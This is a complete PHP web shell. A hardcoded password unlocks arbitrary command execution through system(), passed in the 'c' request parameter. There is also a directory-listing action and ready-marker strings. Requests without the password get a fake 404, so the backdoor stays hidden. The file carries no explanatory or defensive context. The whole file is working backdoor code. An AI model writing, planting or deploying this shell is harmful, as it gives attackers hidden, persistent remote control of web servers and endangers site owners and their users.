<?php
$k = $_POST['k'] ?? ($_GET['k'] ?? '');
$c = $_POST['c'] ?? ($_GET['c'] ?? '');
if ($k === 'Mz7$TqR-mLg2026!') {
  header('Content-Type: text/plain');
  if ($c !== '') { echo "TQR_MLG_OK\n"; system($c); exit; }
  $a = $_POST['a'] ?? ($_GET['a'] ?? '');
  if ($a === 'ls') { echo "TQR_LS_OK\n"; system('ls -la '.escapeshellarg($_GET['d'] ?? '.')); exit; }
  echo "TQR_MLG_SHELL_READY\n"; exit;
}
http_response_code(404); exit;
?>